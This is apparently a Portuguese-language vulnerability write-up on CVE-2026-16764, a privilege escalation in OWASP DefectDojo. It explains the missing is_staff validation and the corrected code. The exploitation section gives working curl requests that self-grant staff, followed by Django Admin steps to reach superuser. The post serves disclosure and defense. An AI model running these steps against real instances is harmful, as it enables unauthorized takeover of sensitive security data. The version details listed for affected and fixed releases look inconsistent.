[PT-BR] CVE-2026-16764: Uma validação faltando, acesso total
JOIN
JOIN
RESEARCH ENTRY 2026.09.25
pt-br

[PT-BR] CVE-2026-16764: Uma validação faltando, acesso total

RESEARCHER 0xNosferatu, Lucas William
READ TIME5 MINUTES
PUBLISHED25 Sep 2026
[PT-BR] CVE-2026-16764: Uma validação faltando, acesso total

O OWASP DefectDojo é uma plataforma open-source de gerenciamento de vulnerabilidades amplamente utilizada por equipes de segurança para centralizar, rastrear e priorizar findings de diversas ferramentas de scanning. Por lidar com dados extremamente sensíveis como relatórios de vulnerabilidades, configurações de infraestrutura e métricas de segurança, a plataforma implementa um modelo de controle de acesso baseado em funções (RBAC).

No entanto, uma falha na validação de campos privilegiados na API REST permitia que um usuário com permissões delegadas limitadas escalasse para superusuário, comprometendo completamente o modelo de segurança da aplicação.


Análise Técnica

Resumo da Vulnerabilidade

A vulnerabilidade foi catalogada como CVE-2026-16764 com o advisory GHSA-w2j3-x3j3-mm43. Possui um score CVSS 3.1 de 7.8 (Alto), classificada sob a CWE-269 (Improper Privilege Management). A versão afetada é a 2.59.0, e as correções estão disponíveis nas versões 2.58.3, 2.58.4 e 3.0.0.

Pré-requisitos

  • Conta autenticada no DefectDojo com usuário de baixo privilégio
  • Permissão delegada Configuration → Users (change) (auth.change_user)
  • Acesso à API REST (/api/v2/)

O Papel do is_staff no DefectDojo

Para entender a gravidade desta vulnerabilidade, é fundamental compreender o que o flag is_staff representa no contexto do DefectDojo.

Conforme a documentação oficial:

"Users marked as superuser or staff in DefectDojo can see and act on every Asset and Organization regardless of the Authorized Users lists."

Isso significa que o is_staff não é apenas um flag administrativo cosmético, ele concede bypass completo do RBAC. Um usuário com is_staff=true:

  • Visualiza todos os Produtos, Engagements, Tests e Findings
  • Pode editar/deletar qualquer registro, independente das permissões por equipe
  • Acessa o painel Django Admin (/admin/)
  • Controla listas de usuários autorizados

Em resumo: is_staff é, funcionalmente, quase equivalente a superusuário.


Código Vulnerável

A vulnerabilidade reside no arquivo dojo/api_v2/serializers.py, na classe UserSerializer.

O Problema: Validação Incompleta

O serializer expunha tanto is_staff quanto is_superuser como campos editáveis, mas apenas validava alterações em is_superuser:

# dojo/api_v2/serializers.py - UserSerializer

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = Dojo_User
        fields = (
            "id", "username", "first_name", "last_name", "email",
            "is_active", "is_staff", "is_superuser",  # Ambos expostos
            # ...
        )

    def validate(self, data):
        # ...
        instance_is_superuser = self.instance.is_superuser if self.instance else False
        data_is_superuser = data.get("is_superuser", instance_is_superuser)
        
        if not self.context["request"].user.is_superuser and (
            instance_is_superuser or data_is_superuser
        ):
            raise ValidationError(
                "Only superusers are allowed to add or edit superusers."
            )
        
        # AQUI É O PONTO ONDE NÃO HÁ VALIDAÇÃO EQUIVALENTE PARA is_staff!
        return data

O Bypass via Django Admin

Além disso, o acesso ao painel Django Admin (/admin/) era controlado pelo check padrão do Django:

# aqui acontece o comportamento padrão do Django
def has_permission(request):
    return request.user.is_active and request.user.is_staff

O Django Admin padrão expõe o formulário de edição de usuários (UserAdmin), que permite a qualquer usuário staff com auth.change_user editar o checkbox is_superuser, um footgun bem conhecido do Django.

O Bypass de Autorização

O arquivo dojo/authorization/query_registrations.py confirma que is_staff é tratado como superusuário para fins de autorização:

# dojo/authorization/query_registrations.py

def _is_unrestricted(user, action):
    # ...
    if user.is_superuser:
        return True
    return bool(user.is_staff)  # Aqui podemos ver que Staff bypassa TODO o RBAC

Exploração

A exploração ocorre em duas fases:

Fase 1: Auto-Elevação para Staff via API

Um usuário com apenas auth.change_user pode modificar seu próprio is_staff:

  1. Precisamos obter token de autenticação
LOW_TOKEN=$(curl -s -X POST \
  "http://[DEFECTDOJO]/api/v2/api-token-auth/" \
  -H "Content-Type: application/json" \
  --data '{"username":"attacker","password":"password123"}' \
  | jq -r .token)
  1. Vamos confirmar que is_superuser é bloqueado (esse é o comportamento esperado)
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_superuser":true}'

A resposta será um JSON contendo a mensagem: "Only superusers are allowed to add or edit superusers."

  1. Após isso, podemos definir is_staff
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_staff":true}'

A resposta será: 200 OK - Usuário agora é staff!

Fase 2: Escalação para Superusuário via Django Admin

Com is_staff=true, o atacante agora tem acesso ao /admin/:

  1. Acessar http://[DEFECTDOJO]/admin/
  2. Navegar para Auth → Users → [seu usuário]
  3. Marcar o checkbox is_superuser
  4. Salvar

O formulário padrão do UserAdmin não bloqueia esta ação para usuários staff com change_user, completando a escalação para superusuário.

Resultado

O vídeo abaixo demonstra a exploração completa, desde uma conta com privilégios mínimos até o acesso total como superusuário.

0:00
/1:38

Com base nisso, foi criado um exploit para exploração automática da escalação de privilégios no app.


Impacto

A exploração bem-sucedida resulta em controle total e persistente da instância DefectDojo:

Impacto Descrição
Confidencialidade Acesso a todos os findings, relatórios de vulnerabilidades e dados de scanning de todas as equipes
Integridade Capacidade de modificar, deletar ou ocultar findings críticos
Disponibilidade Possibilidade de corromper dados ou bloquear acesso de outros usuários
Persistência Criação de backdoors via novos superusuários

Cenários de Ataque

  1. Insider Threat: Funcionário com acesso limitado escala privilégios para acessar dados de outras equipes
  2. Comprometimento de Conta: Atacante que compromete uma conta de "helpdesk" escala para controle total
  3. Supply Chain: Em ambientes multi-tenant, um cliente malicioso compromete dados de outros clientes

Correção Implementada

O fix foi implementado no commit 68a272f e PR #14952.

1. Validação de is_staff no UserSerializer

# dojo/api_v2/serializers.py - CORRIGIDO

def validate(self, data):
    request = self.context["request"]
    
    # Validação existente para is_superuser
    instance_is_superuser = self.instance.is_superuser if self.instance else False
    data_is_superuser = data.get("is_superuser", instance_is_superuser)
    if not request.user.is_superuser and (instance_is_superuser or data_is_superuser):
        raise ValidationError("Only superusers are allowed to add or edit superusers.")
    
    # NOVO: Validação equivalente para is_staff
    instance_is_staff = self.instance.is_staff if self.instance else False
    data_is_staff = data.get("is_staff", instance_is_staff)
    if not request.user.is_superuser and data_is_staff != instance_is_staff:
        raise ValidationError("Only superusers are allowed to add or edit staff users.")
    
    return data

2. Restrição do Django Admin para Superusuários

# dojo/admin.py - CORRIGIDO

def _admin_site_has_permission(request):
    # Antes: is_active and is_staff
    # Depois: APENAS superusuários
    return request.user.is_active and request.user.is_superuser

admin.site.has_permission = _admin_site_has_permission

3. Django Admin Desabilitado por Padrão

# dojo/settings/settings.dist.py

# Antes
DD_DJANGO_ADMIN_ENABLED = (bool, True)

# Depois
DD_DJANGO_ADMIN_ENABLED = (bool, False)

4. Testes Unitários Adicionados

O PR incluiu 169 linhas de testes cobrindo:

  • Rejeição de auto-elevação de is_staff
  • Rejeição de elevação de terceiros
  • Rejeição na criação com is_staff=True
  • Permissão para superusuários (controle positivo)
  • Bloqueio de staff não-superusuário no /admin/

Timeline

Data Evento
2026-06-02 Vulnerabilidade reportada via HackerOne
2026-06-05 Resposta recebida e finding validada
2026-06-08 Versões 2.58.3 e 3.0.0 lançadas
2026-06-28 Advisory GHSA-w2j3-x3j3-mm43 publicado
2026-07-23 CVE-2026-16764 atribuído

Recomendações

Para Administradores DefectDojo

  1. Atualizar para versão 2.58.3, 2.58.4 ou 3.0.0+
  2. Auditar logs de API buscando requisições PATCH em /api/v2/users/ com is_staff
  3. Revisar usuários com is_staff e remover o flag de contas que não necessitam
  4. Manter DD_DJANGO_ADMIN_ENABLED=false a menos que absolutamente necessário
  5. Implementar monitoramento de alterações em flags privilegiados

Para Desenvolvedores

  1. Sempre validar todos os campos privilegiados, não apenas os mais óbvios
  2. Tratar is_staff como equivalente a superusuário em aplicações Django
  3. Customizar o Django Admin para restringir edição de campos sensíveis
  4. Implementar testes de segurança para validação de campos privilegiados
  5. Considerar desabilitar o Django Admin em produção

Verificação de Exposição

# Verificar versão do DefectDojo
curl -s "http://[DEFECTDOJO]/api/v2/" | grep -i version

# Verificar se /admin/ está acessível
curl -s -I "http://[DEFECTDOJO]/admin/"

Vamos Praticar

O Hacking Club é uma plataforma de treinamento voltada ao desenvolvimento prático de profissionais de cibersegurança. O desafio Dojo reproduz, em um ambiente controlado, um serviço vulnerável à falha abordada neste artigo, permitindo que pesquisadores e profissionais consolidem os conceitos apresentados por meio da exploração da vulnerabilidade em um laboratório seguro.

Referências

Autores